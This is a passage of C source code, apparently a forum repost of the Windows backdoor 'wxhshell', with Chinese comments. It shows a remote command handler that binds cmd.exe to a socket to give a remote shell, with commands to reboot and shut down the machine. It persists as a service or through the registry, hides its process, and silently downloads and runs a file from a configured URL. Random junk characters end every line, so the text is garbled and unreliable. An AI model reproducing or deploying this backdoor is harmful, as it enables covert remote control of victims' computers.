  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W5Z-s.o  
  } )r46I$]>  
  else { Ij(<(y{?Q1  
1TTS@\  
    switch(cmd[0]) { +1T>Ob;hk  
  G K~A,Miqk  
  // 帮助 !d()'N  
  case '?': { r:V bjmL  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L!xFhVA<  
    break; =Oy&f:s  
  } ?Vg~7Eu0  
  // 安装 fSbLkd 9  
  case 'i': { j:cu;6|  
    if(Install())  t/t6o&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #|E#Rkw!  
    else 6ZI Pe~`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 01@ WU1IN  
    break; p?$N[-W6-  
    } YWn""8p;P  
  // 卸载 68?&`/t  
  case 'r': { R_G2C@y*  
    if(Uninstall()) 1K3XNHF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /)TeG]Xg  
    else b<y*:(:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y?UJ <QAi  
    break; TI3xt-/  
    } 3q4Zwv0z20  
  // 显示 wxhshell 所在路径 6k0Awcr  
  case 'p': { nX:E(9q7c  
    char svExeFile[MAX_PATH]; "}_ J"%  
    strcpy(svExeFile,"\n\r"); q* lk9{>  
      strcat(svExeFile,ExeFile); B`QF;,3S  
        send(wsh,svExeFile,strlen(svExeFile),0); U=JK  
    break; GImPPF  
    } ^*l dsc  
  // 重启 0E#??gN  
  case 'b': { BaIpX<$T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E&J<qTH9  
    if(Boot(REBOOT)) G)~>d/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wm#(\dj  
    else { 6xx.Z3v  
    closesocket(wsh); g"sb0d9  
    ExitThread(0); /ZiMD;4@y  
    } lB _9b_|2  
    break; ?H8w;Csq-  
    } ?x ",VA  
  // 关机 Byw EoS  
  case 'd': { G h+;Vrx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /{buFX2"}  
    if(Boot(SHUTDOWN)) yI8 O#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TkTGYh  
    else { fASklcQ  
    closesocket(wsh); !KXcg9e  
    ExitThread(0); kq=Htbv7  
    } t'Yd+FK   
    break; (zsmJe  
    } 9HR1m 3  
  // 获取shell b [HnhAI  
  case 's': { x=>dmi3  
    CmdShell(wsh); O=U,x-Wl  
    closesocket(wsh); ds(X[7XGW  
    ExitThread(0); LiHJm-  
    break; Mm8_EjMp  
  } W\B@0Iso  
  // 退出 P}AwE,&Q  
  case 'x': { +xIVlH9`Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "n3n-Y#'  
    CloseIt(wsh); IrRy1][Qr  
    break; ]z7pa^  
    } Z .`+IN(>E  
  // 离开 #pRbRT9  
  case 'q': { |7|'J Ty  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r9}(FL /)b  
    closesocket(wsh); % }b  
    WSACleanup();  XU"G  
    exit(1); zfUj%N  
    break; Jyd[Sc)  
        } ~yN>9f U  
  } CA|W4f}  
  } pPsTgGai  
0p3) t  
  // 提示信息 9_*3xu<7i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lnl>!z  
} S5m.oHJI*  
  } D@w&[IF  
ve/.q^JeJ  
  return; C.=%8|Zy  
} MYJDfI  
A\/DAVnI  
// shell模块句柄 3KD:JKn^  
int CmdShell(SOCKET sock) {IB4%,qT  
{ )MN6\v  
STARTUPINFO si; pTQ7woj}  
ZeroMemory(&si,sizeof(si)); yYJ +vs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h/aG."U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *Q [%r  
PROCESS_INFORMATION ProcessInfo; 0a?[@ -Sz  
char cmdline[]="cmd"; IH=%%AS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z5^Se!`5  
  return 0; a#Z#-y!  
} \ 511?ik  
k fOd|-  
// 自身启动模式 vKbGG   
int StartFromService(void) :d<F7`k H  
{ yF XPY=EQ  
typedef struct t]t(/x#  
{ ]R"n+LnI:=  
  DWORD ExitStatus; -oju-gf K  
  DWORD PebBaseAddress; 6XhS g0s  
  DWORD AffinityMask; -k,}LJjo  
  DWORD BasePriority; D#ED?Lqf  
  ULONG UniqueProcessId; PVq y\i  
  ULONG InheritedFromUniqueProcessId; pkIJbI{aS  
}   PROCESS_BASIC_INFORMATION; (:# 4{C  
W}^>lM\8  
PROCNTQSIP NtQueryInformationProcess; 5n2}|V$VqP  
z\J#d 1e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &C/,~pJ1S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [HRP&jr  
Xs4G#QsA J  
  HANDLE             hProcess; 2c9]Ja3:6  
  PROCESS_BASIC_INFORMATION pbi; q={3fm  
x5yZ+`Gc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (j)>npOd9  
  if(NULL == hInst ) return 0; P^/e!%UgC  
w\a9A#v,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @:u2{>Yl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); pKL^ <'w0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]\=M$:,RZ  
8{.:$T  
  if (!NtQueryInformationProcess) return 0; lgCOp%>  
OB+I.qlHP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sgeME^v  
  if(!hProcess) return 0; Q0_|?]v  
=Rf!i78c5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %X\rP,  
f,0oCBLPO  
  CloseHandle(hProcess); sv>c)L}I  
A$'rT|>se  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !8%{(;(  
if(hProcess==NULL) return 0; aQfrDM<*XS  
""F' Nzy  
HMODULE hMod; X@7e 7  
char procName[255]; @ GzN0yXhR  
unsigned long cbNeeded;  /I' np  
*j|BSd P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8:UV;5@  
<7~+ehu  
  CloseHandle(hProcess); 2fJ2o[v  
SJI+$L\'  
if(strstr(procName,"services")) return 1; // 以服务启动 D)LqkfJ}z^  
kKSn^q L*  
  return 0; // 注册表启动 $Xo_C_:B  
} \C E8S+Z%  
.SSj=q4?  
// 主模块 @y\M8C8  
int StartWxhshell(LPSTR lpCmdLine) ^,Y#_$oR  
{ @GR|co  
  SOCKET wsl; tB{O6=q  
BOOL val=TRUE; LMte,zs>  
  int port=0; -RnQ8Iu o  
  struct sockaddr_in door; ~C],?X(zk  
7b[vZNi_  
  if(wscfg.ws_autoins) Install(); }q@Jh*  
,`< [ej   
port=atoi(lpCmdLine); K1Wiiw  
ijWn,bj  
if(port<=0) port=wscfg.ws_port; ,U/ZG|=v  
j'JNQo;q  
  WSADATA data; DW~< 8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;GxKPy  
'=vD!6=0@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ng[ZM);  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cy##+u,C  
  door.sin_family = AF_INET; $nbZ+~49  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :<Y, f(c  
  door.sin_port = htons(port); w873: =  
9y"*H2$#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7w{>bYP  
closesocket(wsl); "8Y4;lbN.q  
return 1; lGZ^ 8  
} Alb5#tm:m  
i{ 2rQy+  
  if(listen(wsl,2) == INVALID_SOCKET) { }u'O<d~z?  
closesocket(wsl); Uf-`g>  
return 1; DYCXzFAa  
} 1H,hw  
  Wxhshell(wsl); P C  
  WSACleanup(); 2n5{H fpY  
:6Sb3w5h  
return 0; a<{+ J U5  
kx3]A"]>'  
} f%Bmx{Ttq  
_Y,d|!B#L  
// 以NT服务方式启动 evHKq}{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wB W]w  
{ PRF^<%mkI  
DWORD   status = 0; ~ TALpd  
  DWORD   specificError = 0xfffffff; GGn/J&k  
9!|.b::  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wz] OM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pn2_ {8.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ek4?|!kQD  
  serviceStatus.dwWin32ExitCode     = 0; @T+pQ)0{{  
  serviceStatus.dwServiceSpecificExitCode = 0; +Pm }_"GU  
  serviceStatus.dwCheckPoint       = 0; Z=P=oldH  
  serviceStatus.dwWaitHint       = 0; lr@H4EJ{  
dNcP_l/A  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Oo 95\Yf$N  
  if (hServiceStatusHandle==0) return; Nh|QYxOP  
s&*s9F  
status = GetLastError(); xo*[ g`N  
  if (status!=NO_ERROR) '|N9xL m  
{ dCH(N_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Gu136XiX  
    serviceStatus.dwCheckPoint       = 0; Qws#v}xF  
    serviceStatus.dwWaitHint       = 0; k`Ifd:V.y  
    serviceStatus.dwWin32ExitCode     = status; Cdd +I5~  
    serviceStatus.dwServiceSpecificExitCode = specificError; {pNf& '  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9}6^5f?|  
    return; &za~=+  
  } ssC5YtF7X  
tmI2BBv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; goV[C]|  
  serviceStatus.dwCheckPoint       = 0; BpKgUwf;C  
  serviceStatus.dwWaitHint       = 0; o\YF_235  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nANoy6z:  
} gRdg3qvU  
5zH?1Z~*  
// 处理NT服务事件,比如:启动、停止 O~AOZ^a:2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hkL[hD  
{ ?#917M  
switch(fdwControl) ;1 02ddRV  
{ (P N!k0Y  
case SERVICE_CONTROL_STOP: `Z0#IeX=  
  serviceStatus.dwWin32ExitCode = 0; ,HdFE|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; URD<KIN>  
  serviceStatus.dwCheckPoint   = 0; -3T6ck  
  serviceStatus.dwWaitHint     = 0; sx0:g?F3j  
  { YEx7 6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =1"8ua  
  } O{9h'JU  
  return; Q[k7taoy  
case SERVICE_CONTROL_PAUSE: glppb$oB\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xFY;aK  
  break; v+|N7  
case SERVICE_CONTROL_CONTINUE: nUvxO `2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b%<i&YY#  
  break; 7=ZB?@bU~  
case SERVICE_CONTROL_INTERROGATE: NwdA@"YQ|  
  break; 8PV`4=,OI  
}; <99Xg_e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X|7Y|0o  
} 5E/z.5 q  
`MtPua\_  
// 标准应用程序主函数 O`hOVHD Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jo4*,B1x  
{ _KkLH\1g$  
rs R0V+(W  
// 获取操作系统版本 !s]LWCX+|  
OsIsNt=GetOsVer(); QMfa~TH#p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n(b(H`1n  
##!) }i  
  // 从命令行安装 wK CHG/W  
  if(strpbrk(lpCmdLine,"iI")) Install(); y$At$i>u  
XY8s\DK  
  // 下载执行文件 5u\si4BL{  
if(wscfg.ws_downexe) { <Dw`Ur^X5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !RnO{FL  
  WinExec(wscfg.ws_filenam,SW_HIDE); \gL H_$}  
} 3~4e\xL  
& ;+u.X  
if(!OsIsNt) { 5B? >.4R  
// 如果时win9x,隐藏进程并且设置为注册表启动 wvm`JOP:A  
HideProc(); |Y!#`  
StartWxhshell(lpCmdLine); "S43:VH  
} KFd"JtPg  
else h&Ehp   
  if(StartFromService()) Q- %Q7n'c  
  // 以服务方式启动 z1ltc{~Z  
  StartServiceCtrlDispatcher(DispatchTable); }06  
else PQsqi;=)  
  // 普通方式启动 J8$G-~MeJ  
  StartWxhshell(lpCmdLine); DLkNL?a  
$@t-Oor;  
return 0; 31y=Ar""  
}
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只看该作者 1 发表于: 2006-10-10
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